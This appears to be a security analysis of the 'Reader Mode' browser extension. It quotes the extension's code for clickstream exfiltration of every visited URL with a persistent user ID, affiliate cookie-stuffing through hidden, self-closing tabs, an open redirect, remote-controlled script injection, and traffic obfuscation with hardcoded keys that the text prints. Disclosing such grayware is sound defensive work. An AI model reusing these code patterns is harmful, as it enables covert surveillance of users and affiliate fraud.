Reader Mode

On every tab update the background worker cross-references the page hostname against the remotely fetched merchant list and, on a match, uses chrome.scripting.executeScript to inject a merchant payload and automate.js into that page. This gives a remote server the ability to trigger arbitrary extension-privileged script injection on specific domains of its choosing without a code review, abusing the host_permissions <all_urls> grant.

if (taburl) {  let merchant = null;  if (merchantList[taburl]) {    merchant = merchantList[taburl];  }  if (merchant) {    ...    if (!loadingStatus[taburl]) {      chrome.scripting.executeScript({        target: {          tabId        },        func: (m) => {          window.merchant = JSON.stringify(m);        },        args: [merchant],      });      chrome.scripting.executeScript({        target: {          tabId        },        files: ["./javascripts/src/automate.js"],      });

Using the webRequest API on <all_urls> the extension intercepts every main_frame navigation and forwards the target URL, referrer URL, HTTP method, and a persistent per-user UUID to stats.readermode.io/process. This is full-session browsing-history exfiltration (a clickstream feed), tied to a stable user identifier stored in chrome.storage.sync — effectively the same capability as commercial data-broker browsing-panel spyware.

this.run = function() {    this.getUUIDfromStore(), chrome.webRequest.onCompleted.addListener(this.handlerOnCompletedWebRequest.bind(this), {      urls: ["<all_urls>"],      types: ["main_frame"]    }, [])  }, ...  this.handlerOnCompletedWebRequest = async function(t) {    if (!accessToken) {      await this.getAccessToken();    }    await this.sendData(await this.prepareRequest([{      fileDate: (new Date).toISOString(),      deviceTimestamp: Date.now(),      userId: uuid,      referrerUrl: refs[t.tabId] || t.initiator,      targetUrl: t.url,      requestType: t.method    }]));    refs[t.tabId] = t.url;  }

Content script injected at document_start into <all_urls> reads a `partnerurl` query parameter from the current page URL and unconditionally navigates the tab to whatever value it contains, with no origin/allowlist validation. This is a universal open redirector usable for phishing and click-laundering through any site that happens to get a crafted query string, and it also executes the extension's affiliate-redirection flow by redirecting users to attacker/partner-controlled URLs.

(() => {    function gup(name, url) {      const n = name.replace(/[[]/, "\\[")        .replace(/[\]]/, "\\]");      const u = url || location.href;      const regexS = `[\\?&]${n}=([^&#]*)`;      const regex = new RegExp(regexS);      const results = regex.exec(u);      return results == null ? null : results[1];    }    window.addEventListener("load", () => {          if (window.location.search.indexOf("partnerurl=") > -1) {            const url = decodeURIComponent(gup("partnerurl", location.href));            location.href = url;            return;          }

After loading in every page, the content script asks the background whether this tab was opened by the extension's `open_tab` flow and, if so, silently closes it after 3 seconds. Combined with automate.js, this is the standard affiliate cookie-stuffing pattern: the extension opens a hidden tab to an affiliate URL to drop tracking cookies, then removes the tab so the user never sees it.

window.setTimeout(() => {  chrome.runtime.sendMessage({    action: "get_tabstatus"  }, (response) => {    if (response) {      chrome.runtime.sendMessage({        action: "close_current_tab"      }, () => {});    }  });}, 3e3);

The background service worker periodically fetches a remote JSON list of merchant hostnames and corresponding affiliate URLs from a Google Cloud Storage bucket (`storage.googleapis.com/impacthero-bucket/merchants-reader-mode.json`) and uses it to drive automated navigation behavior. The hostname→affiliate mapping is fully attacker-controlled at runtime and can be changed without a Chrome Web Store update, letting the operator retarget new domains or swap in new redirect destinations at any time.

export function loadMerchants(callback = null) {  fetch(MERCHANT_LIST_URL)    .then((res) => res.json())    .then((data) => {        merchantList = {};        if (!Array.isArray(data)) {          return;        }        for (const val of data) {          merchantList[getTUrl(val.merchanturl)] = {            i: val.id,            l: val.afflink,          };        }

When injected onto a matched merchant page, automate.js asks the background to open a new tab to impacthero.co which then redirects (via the partnerurl handler in redirectcheck.js) to the affiliate link associated with that merchant. The redirectcheck.js `close_current_tab` handler then silently disposes of that tab once the affiliate cookie has been planted. This is classic affiliate-fraud / cookie-stuffing monetization that hijacks commissions without user awareness.

if (!localStorage.mzrrefoorest_active) {  localStorage.mzrrefoorest_active = new Date().getTime();  chrome.storage.local.get(['cr_for_planet'], function(result) {    if (result.cr_for_planet == "on") {      console.log("ImpactHero started...");      chrome.runtime.sendMessage({        action: "open_tab",        url: `https://impacthero.co/?title=${encodeURIComponent(uuid)}&partnerurl=${encodeURIComponent(                     replaceUrlParam(merchant.l, "uuid", uuid),                   )}`,      });    } else {      //alert("DEBUG: impactHero not started => DONT open tab");    }  });

The clickstream payload is AES-GCM encrypted client-side with a hardcoded 16-byte symmetric key bundled in the extension (`OoCh9oamNookooP8`) and a hardcoded API key (`Eiv5soh8oolid3Uu`) before being POSTed to readermode.io. The encryption is not protecting user privacy — the key is shipped to every installed client — its purpose is to obfuscate the exfiltration traffic from network inspection and detection, a common malware/grayware tactic.

this.encryptData = async function(text) {  const enc = new TextEncoder();  const key = await crypto.subtle.importKey(    "raw",    enc.encode(encryptionKey),    "AES-GCM",    true,    ["encrypt"]  );  const iv = crypto.getRandomValues(new Uint8Array(16))  const cypher = await crypto.subtle.encrypt({    name: "AES-GCM",    iv: iv  }, key, enc.encode(text));  const res = new Uint8Array(iv.length + cypher.byteLength);  res.set(iv);  res.set(new Uint8Array(cypher), iv.length);  return btoa(String.fromCharCode.apply(null, res));}}chrome.storage.local.get(function(storage) {  if (typeof storage.safe_browsing !== "undefined" && storage.safe_browsing == true) {    const stat = new Statistics("Eiv5soh8oolid3Uu", "OoCh9oamNookooP8");    stat.run();  }});

The background message handler exposes `open_tab` with an arbitrary caller-supplied URL with no origin or allowlist validation. Because the extension's content script runs on <all_urls>, any web page in the user's browser that can reach the same-origin content-script context effectively gains a privileged tab-creation primitive via chrome.tabs.create, which is a privilege-escalation surface that bypasses the usual pop-up blocker.

chrome.runtime.onMessage.addListener((req, sender, rcb) => {      if (req.action === "merchant_list") {        ...      } else if (req.action === "open_tab") {        openTab(req.url, sender.tab.id, rcb);      } else if (req.action === "get_tabstatus") {        getTabId(sender.tab.id, rcb);      } else if (req.action === "close_current_tab") {        closeTab(sender.tab.id, rcb);      }...